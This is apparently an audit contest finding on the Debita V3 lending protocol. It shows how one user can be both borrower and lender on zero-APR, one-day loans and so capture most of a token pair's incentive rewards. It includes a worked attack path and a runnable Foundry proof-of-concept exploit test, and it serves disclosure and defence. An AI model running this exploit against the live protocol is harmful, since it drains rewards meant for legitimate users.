Nutty Snowy Robin

High

# User Can Stockpile Most Incentives Due to Lack of Control in Loan Parameters

### Summary

A user can exploit the system to claim most of incentives by being both the borrower and lender of the same loan. The protocol currently does not restrict this behavior. While the downside of being both parties is the loss of protocol fees, the exploit can still be profitable under certain conditions.

There are two types of fees imposed by the protocol:
1. **Matching Offers Fee:** For each amount of principal lent, the protocol charges a fee ranging from **0.2% to 0.8%**.
2. **Repayment Fee:** When repaying the debt, the protocol charges **15% of the accrued interest**.


If a user minimizes the fees, they can profit from double rewards while stockpiling most of the incentives pool for a given pair of tokens.

**How we can avoid the fees?**
1. **Avoiding the lender fee (15%)**:  
- Set an APR of 0% for both borrower and lender sides.  
- This is permitted by the protocol, as the condition in [`DebitaV3Aggregator:560`](https://github.com/sherlock-audit/2024-11-debita-finance-v3/blob/1465ba6884c4cc44f7fc28e51f792db346ab1e33/Debita-V3-Contracts/contracts/DebitaV3Aggregator.sol#L560) only checks that `weightedAPR` is ≤ `maxAPR`, which is satisfied when both are 0%.  

2. **Minimizing borrower fees**:  
- Use a very short loan duration, resulting in a minimum fee of 0.2%. 
- There are no controls on duration parameters, which allows setting a minimum duration without constraints.


The attacker incurs only a **0.2% loss of the principle amount in fees**, making the profitability of this attack reliant on the incentives offered for the token pair. If the incentives exceed **0.2% of the principle amount**, the attacker can profit and repeatedly exploit this to drain all available incentives for the token pair. Even with a minimal profit margin, this approach can still serve to **grief** other eligible users by monopolizing the incentives, disrupting fair distribution. 

### Root Cause

- The protocol does not enforce a **minimum APR**. This allows setting the APR to 0%, effectively bypassing lender fees.  
- The absence of a **minimum loan duration**. Without this, controlling APR becomes meaningless, as users can create loans with extremely short durations (e.g., 1 minute) and repay immediately, resulting in negligible fees even with a high APR.  

### Internal pre-conditions
The incentive rewards per amount of principle used must be greater or equal than 0.2% of the same principle amount.

### External pre-conditions

_No response_

### Attack Path
User incentivizes lending and borrowing actions when using USDC:

- **Principle**: [USDC, USDC]
- **Mode**: [lend, borrow]
- **Rewards amount**: [1000, 1000] DAI
- **Epoch**: [5, 5]

#### Data incentives:
- `LentIncentivesPerTokenPerEpoch[USDC][DAI, 5]`: 1000
- `BorrowIncentivesPerTokenPerEpoch[USDC][DAI, 5]`: 1000
- `TotalUsedTokenPerEpoch[USDC][5]`: 0

#### During Epoch 5:
People begin creating loans using USDC to receive rewards:
- `TotalUsedTokenPerEpoch[USDC][5]`: 50,000

Bob creates a **borrow order** and a **lend order** to match together:
- **Borrow Offer**:
  - `MaxAPR`: 0%
  - `Duration`: 1 day
  - `Accepted principle`: USDC
  - `Collateral amount`: 1 WBTC
- **Lend Offer**:
  - `APR`: 0%
  - `Max duration`: 3 days
  - `Min duration`: 1 day
  - `Accepted collateral`: WBTC
  - `Principle amount`: 40,000 USDC

### Matching the offer:
- `APR`: 0%
- `Duration`: 1 day
- **Protocol fee**: 80 USDC (0.2%)
- **Amount lent**: 40,000 USDC

---

### First iteration:
**Update funds incentives**:
- `LentAmountPerUserPerEpoch[Bob][USDC, 5]`: 40,000
- `TotalUsedPerTokenPerEpoch[USDC][5]`: 40,000 + 50,000 = 90,000
- `BorrowAmountPerEpoch[Bob][USDC, 5]`: 40,000

**Repay debt and accounting**:
- Bob's WBTC balance: 1 WBTC
- Bob's USDC balance: 39,920 USDC
- **Percentage Lent**: 44% (`LentAmountPerUserPerEpoch / TotalUsedPerTokenPerEpoch`)
- **Percentage Borrow**: 44% (`BorrowAmountPerEpoch / TotalUsedPerTokenPerEpoch`)
- **Amount to claim on lending**: 444 DAI (`1000 * Percentage Lent`)
- **Amount to claim on borrowing**: 444 DAI (`1000 * Percentage Borrow`)
- **Fee taken**: 80 USDC
- **Net value**: 888 DAI - 80 = 808 DAI
- **Percentage of loss**: 80 / 888 ≈ 9%

---

### Second iteration:
**Update funds incentives**:
- `LentAmountPerUserPerEpoch[Bob][USDC, 5]`: 80,000
- `TotalUsedPerTokenPerEpoch[USDC][5]`: 40,000 + 90,000 = 130,000
- `BorrowAmountPerEpoch[Bob][USDC, 5]`: 80,000

**Repay debt and accounting**:
- Bob's WBTC balance: 1 WBTC
- Bob's USDC balance: 39,840 USDC
- **Percentage Lent**: 61% (`LentAmountPerUserPerEpoch / TotalUsedPerTokenPerEpoch`)
- **Percentage Borrow**: 61% (`BorrowAmountPerEpoch / TotalUsedPerTokenPerEpoch`)
- **Amount to claim on lending**: 615 DAI (`1000 * Percentage Lent`)
- **Amount to claim on borrowing**: 615 DAI (`1000 * Percentage Borrow`)
- **Fee taken**: 160 USDC
- **Net value**: 1230 DAI - 160 = 1070 DAI
- **Percentage of loss**: 160 / 1230 ≈ 13%

---


**NOTE**: The more iterations you repeat, the greater your percentage of rewards. However, you also incur higher protocol fees. It is crucial to calculate the **optimal point of benefit** where we can maximize the profit.

### Impact

- A user can act accumulate and profit from most of the incentives allocated for a specific pair of tokens.
- A user can reduce the incentive distribution to legitimate users eligible for the same token pair, effectively griefing them.
- The user can manipulate the system to claim a disproportionate share of incentives, exceeding what they would receive under normal participation rules.

### PoC
Paste the following codes into `test/fork/Incentives/MultipleLoansDuringIncentives.t.sol`
You can run it with: `forge test --fork-url https://mainnet.base.org --fork-block-number 21151256 --no-match-path '**Fantom**' --mt testDoubleIncentives -vvvv`

<details>

<summary>Test to run</summary>

```solidity
function testDoubleIncentives() public {
        // Incentivize 1000 USDC for epoch 2 when lending
        incentivize(AERO, AERO, USDC, true, 1000e18, 2);
        vm.warp(block.timestamp + 15 days);
        // Create 3 normal loans, with 50 AERO lent each (default)
        // Balance AERO to share the incentives on: 150 AERO
        createNormalLoan(borrower, secondLender, AERO, AERO);
        createNormalLoan(borrower, thirdLender, AERO, AERO);
        createNormalLoan(borrower, firstLender, AERO, AERO);
        
        // Create a new lender
        address attacker = address(0x04);
        deal(AERO, attacker, 5000e18, true);
        
        console.log("Balance attacker of AERO before any action", IERC20(AERO).balanceOf(attacker));
        uint balanceAERObeforeAttack = IERC20(AERO).balanceOf(attacker);
        uint balanceUSDCbeforeAttack = IERC20(USDC).balanceOf(attacker);
        // Create the attack order, we can do it 6 of times:
        // 100 AERO lent each order
        // 0.2% taken = 2e17 each
        // 1st order we stockpiled = 40% of incentives
        // 2nd order we stockpiled = 57%
        // 3rd order we stockpiled = 66%
        // 4th order we stockpiled = 72%
        // 5th order we stockpiled = 76%
        // 6th order we stockpiled = 80%
        // Total fees taken: 2e17 x 6 = 1.2e18
        // Incentives for attacker = 800 USDC (80%)
        // Total AERO balance to share the incentives on = 750 AERO
        createCustomLoan(attacker, attacker, AERO, AERO);
        createCustomLoan(attacker, attacker, AERO, AERO);
        createCustomLoan(attacker, attacker, AERO, AERO);
        createCustomLoan(attacker, attacker, AERO, AERO);
        createCustomLoan(attacker, attacker, AERO, AERO);
        createCustomLoan(attacker, attacker, AERO, AERO);
        console.log("Balance attacker of AERO after the attack:", IERC20(AERO).balanceOf(attacker));
        uint balanceAEROafterAttack = IERC20(AERO).balanceOf(attacker);
        
        vm.warp(block.timestamp + 30 days);
        
        // principles, tokenIncentives, epoch with dynamic Data
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        address[] memory tokenUsedIncentive = allDynamicData
            .getDynamicAddressArray(1);
        address[][] memory tokenIncentives = new address[][](
            tokenUsedIncentive.length
        );
        principles[0] = AERO;
        tokenUsedIncentive[0] = USDC;
        tokenIncentives[0] = tokenUsedIncentive;
        
        vm.startPrank(attacker);
        uint balanceIncentivesBefore = IERC20(USDC).balanceOf(attacker);
        incentivesContract.claimIncentives(principles, tokenIncentives, 2);
        uint balanceIncentivesAfter = IERC20(USDC).balanceOf(attacker);
        vm.stopPrank();
        uint balanceUSDCafterAttack = IERC20(USDC).balanceOf(attacker);

        // Fees taken 6 times
        uint feesTaken = (2e17 * 6);
        // Incentives taken, 80%
        uint incentivesTaken = 1000e18 * 80_00 / 100_00;
        uint totalBalanceAttackerAfter = balanceAEROafterAttack + balanceUSDCafterAttack;
        uint totalBalanceAttackerBefore = balanceAERObeforeAttack + balanceUSDCbeforeAttack;
        
        // Balance AERO:
        assertEq(balanceAERObeforeAttack, balanceAEROafterAttack + feesTaken);
        // Balance incentives:
        assertEq(balanceIncentivesAfter, balanceIncentivesBefore + incentivesTaken);
        // Total balance:
        assertGt(totalBalanceAttackerAfter, totalBalanceAttackerBefore);
    }
```

</details>




<details>

<summary>Function for creating normal loans</summary>

```solidity
// Creates a normal flow of orders and match them
    function createNormalLoan(
        address _borrower,
        address lender,
        address principle,
        address collateral
    ) internal returns (address) {
        vm.startPrank(_borrower);
        deal(principle, lender, 1000e18, false);
        deal(collateral, _borrower, 1000e18, false);
        IERC20(collateral).approve(address(DBOFactoryContract), 150e18);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        // set the values for the loan
        ltvs[0] = 5000;
        acceptedPrinciples[0] = principle;
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = true;

        oraclesPrinciples[0] = DebitaChainlinkOracle;
        oraclesCollateral[0] = DebitaChainlinkOracle;

        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            1400,
            864000,
            acceptedPrinciples,
            collateral,
            false,
            0,
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            150e18
        );

        vm.stopPrank();

        vm.startPrank(lender);
        IERC20(principle).approve(address(DLOFactoryContract), 100e18);
        ltvsLenders[0] = 5000;
        ratioLenders[0] = 5e17;
        oraclesActivatedLenders[0] = true;
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false,
            oraclesActivatedLenders,
            false,
            ltvsLenders,
            1350,
            8640000,
            86400,
            acceptedCollaterals,
            principle,
            oraclesCollateral,
            ratioLenders,
            DebitaChainlinkOracle,
            50e18
        );
        vm.stopPrank();
        vm.startPrank(connector);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = lendOrderAddress;
        lendAmountPerOrder[0] = 50e18;

        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = principle;

        // match
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            borrowOrderAddress,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);
        vm.stopPrank();
    
    }
```

</details>


<details>

<summary>Function for creating attacker loans</summary>

```solidity
// 1. Creates both offers (attacker)
    // 2. Match the offers (connector)
    // 3. Repays the debt (attacker)
    // 4. Claims collateral (attacker)
    // 5. Claims debt (attacker)
    function createCustomLoan(
        address _borrower,
        address lender,
        address principle,
        address collateral
    ) internal returns (address) {
    
        // Collateral 100 AERO
        // Lend 100 AERO
        // LTV 100%
        // APR 0%
        // Duration: 1 day
        vm.startPrank(_borrower);
        IERC20(collateral).approve(address(DBOFactoryContract), 100e18);
        bool[] memory oraclesActivated = allDynamicData.getDynamicBoolArray(1);
        uint[] memory ltvs = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratio = allDynamicData.getDynamicUintArray(1);
        uint[] memory ratioLenders = allDynamicData.getDynamicUintArray(1);
        uint[] memory ltvsLenders = allDynamicData.getDynamicUintArray(1);
        bool[] memory oraclesActivatedLenders = allDynamicData
            .getDynamicBoolArray(1);

        address[] memory acceptedPrinciples = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory acceptedCollaterals = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesCollateral = allDynamicData
            .getDynamicAddressArray(1);
        address[] memory oraclesPrinciples = allDynamicData
            .getDynamicAddressArray(1);

        // set the values for the loan
        ltvs[0] = 100_00;
        acceptedPrinciples[0] = principle;
        acceptedCollaterals[0] = collateral;
        oraclesActivated[0] = false;
        ratio[0] = 1e18;
        oraclesPrinciples[0] = DebitaChainlinkOracle;
        oraclesCollateral[0] = DebitaChainlinkOracle;

        address borrowOrderAddress = DBOFactoryContract.createBorrowOrder(
            oraclesActivated,
            ltvs,
            0, // APR
            86400, // Duration 1 day
            acceptedPrinciples,
            collateral,
            false, // is nft
            0, // receipt ID
            oraclesPrinciples,
            ratio,
            DebitaChainlinkOracle,
            100e18 // amount of collateral
        );

        //vm.stopPrank();

        //vm.startPrank(lender);
        IERC20(principle).approve(address(DLOFactoryContract), 100e18);
        ltvsLenders[0] = 100_00;
        ratioLenders[0] = 1e18;
        oraclesActivatedLenders[0] = false;
        address lendOrderAddress = DLOFactoryContract.createLendOrder(
            false, // perpetual
            oraclesActivatedLenders,
            false, // lonely lender
            ltvsLenders,
            0, // apr
            864000, // max duration
            86400, // min duration
            acceptedCollaterals,
            principle,
            oraclesCollateral,
            ratioLenders,
            DebitaChainlinkOracle,
            100e18 // amount to lend
        );
        vm.stopPrank();
        vm.startPrank(connector);

        address[] memory lendOrders = allDynamicData.getDynamicAddressArray(1);
        uint[] memory lendAmountPerOrder = allDynamicData.getDynamicUintArray(
            1
        );
        uint[] memory porcentageOfRatioPerLendOrder = allDynamicData
            .getDynamicUintArray(1);
        address[] memory principles = allDynamicData.getDynamicAddressArray(1);
        uint[] memory indexForPrinciple_BorrowOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexForCollateral_LendOrder = allDynamicData
            .getDynamicUintArray(1);
        uint[] memory indexPrinciple_LendOrder = allDynamicData
            .getDynamicUintArray(1);

        lendOrders[0] = lendOrderAddress;
        lendAmountPerOrder[0] = 100e18;

        porcentageOfRatioPerLendOrder[0] = 10000;
        principles[0] = principle;

        // match
        address loan = DebitaV3AggregatorContract.matchOffersV3(
            lendOrders,
            lendAmountPerOrder,
            porcentageOfRatioPerLendOrder,
            borrowOrderAddress,
            principles,
            indexForPrinciple_BorrowOrder,
            indexForCollateral_LendOrder,
            indexPrinciple_LendOrder
        );

        DebitaV3LoanContract = DebitaV3Loan(loan);
        vm.stopPrank();

        // repay the debt
        uint[] memory indexes = allDynamicData.getDynamicUintArray(1);
        vm.startPrank(_borrower);
        IERC20(principle).approve(address(DebitaV3LoanContract), 100e18);
        DebitaV3LoanContract.payDebt(indexes);
        DebitaV3LoanContract.claimDebt(0);
        DebitaV3LoanContract.claimCollateralAsBorrower(indexes);
        vm.stopPrank();
    }
```

</details>


### Mitigation

By enforcing both a **minimum APR** and a **minimum loan duration**, the attacker would be required to pay more fees. This would disincentivize the exploit, as the costs would mostly outweigh the potential gains from the incentives. 